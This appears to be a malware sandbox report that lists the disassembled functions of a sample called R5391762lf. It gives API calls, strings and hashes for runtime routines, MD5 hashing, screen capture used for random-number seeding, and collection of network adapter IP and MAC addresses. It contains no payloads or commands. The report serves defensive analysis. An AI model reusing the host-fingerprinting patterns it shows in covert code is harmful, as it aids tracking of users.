Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00423576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Uniqueness

Uniqueness Score: -1.00%

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00630000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: a018a04811107607742572bb9273946ce74d37b9b1708be3ced0118e3a2d25af
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: a018a04811107607742572bb9273946ce74d37b9b1708be3ced0118e3a2d25af
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Uniqueness

Uniqueness Score: -1.00%

Function 00427B0B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,i;B,00427B16,i;B,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,i;B,i;B), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Strings

i;B, xrefs: 00427B0E

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID: i;B
API String ID: 2427264223-472376889
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF50 Relevance: 4.6, APIs: 3, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040EF69

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00630000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040EF85
_memset.LIBCMT ref: 0040EF9B

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap_memset
String ID:
API String ID: 3655941445-0
Opcode ID: 030ce5304eb8d874ea407c5a52bd42f85663f8070df60884b58911fa6b375070
Instruction ID: 5fa84ec4042e21db229fa26042ce02b7cce951e2f5e2b33d0654eda62efe4b83
Opcode Fuzzy Hash: 030ce5304eb8d874ea407c5a52bd42f85663f8070df60884b58911fa6b375070
Instruction Fuzzy Hash: 06110631600624EFCB10DF99D881A5ABBB5FF89314F2445A9E9489F396D731B912CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Uniqueness

Uniqueness Score: -1.00%

Function 00416950 Relevance: 1.6, APIs: 1, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004169DF

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: e7f962823d775123d6119a34003949b0836bc7c223d4669dc53d6b00ca085f2b
Instruction ID: aa06b8048d3bf760f527e7d0bbb9ad0a08af858ba63749c6f8d7f01112261dfe
Opcode Fuzzy Hash: e7f962823d775123d6119a34003949b0836bc7c223d4669dc53d6b00ca085f2b
Instruction Fuzzy Hash: E731E3B2A006059BCB20DF68C5816AEB7F9EF45750F21823FE856D7740DB38DD448BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00423B69,00000001,00000000,i;B,00427C49,000000FF,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EBC

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode$__lock_doexit
String ID:
API String ID: 2158581194-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Uniqueness

Uniqueness Score: -1.00%

Function 00412900 Relevance: 1.3, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-00000400,-00000400), ref: 00412966

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 0c1fed4ebc66c3407f38909d6d576eaf9ee83efa2bb9236ddfd508948eb977ea
Instruction ID: 3b43283c781d39060a285e1a990033b4cd03b7dd602a36c1420ec248ee7b7319
Opcode Fuzzy Hash: 0c1fed4ebc66c3407f38909d6d576eaf9ee83efa2bb9236ddfd508948eb977ea
Instruction Fuzzy Hash: 0411B171A00219EBDF00DF59DC41BDFBBA8EF05718F00452AF819A7280D7BE99558BDA

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149encryptionstringCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 3f68754a9cad00adfa5318296b42566dd369576488fe948bfb568d47563decbb
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 3f68754a9cad00adfa5318296b42566dd369576488fe948bfb568d47563decbb
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Uniqueness

Uniqueness Score: -1.00%

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: fc4b9d57ff737a29fd0c32e9b5e231f1385e3f8210e0f352300a49299a5c9bfe
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: fc4b9d57ff737a29fd0c32e9b5e231f1385e3f8210e0f352300a49299a5c9bfe
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E870 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 165encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD
phu, xrefs: 0040E943

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X$phu
API String ID: 1084002244-3562321646
Opcode ID: 12faea4a726fdb76d454d3edf8160098b9ea6957ac25c5d069a7689ad03415f1
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 12faea4a726fdb76d454d3edf8160098b9ea6957ac25c5d069a7689ad03415f1
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,?,?,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Uniqueness

Uniqueness Score: -1.00%

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

.\crypto\rand\rand_win.c, xrefs: 00482383
DISPLAY, xrefs: 00482311

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00630000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: RtlFreeHeap.NTDLL(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699
Address: %s, mac: %s, xrefs: 0040E72D
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A

Memory Dump Source

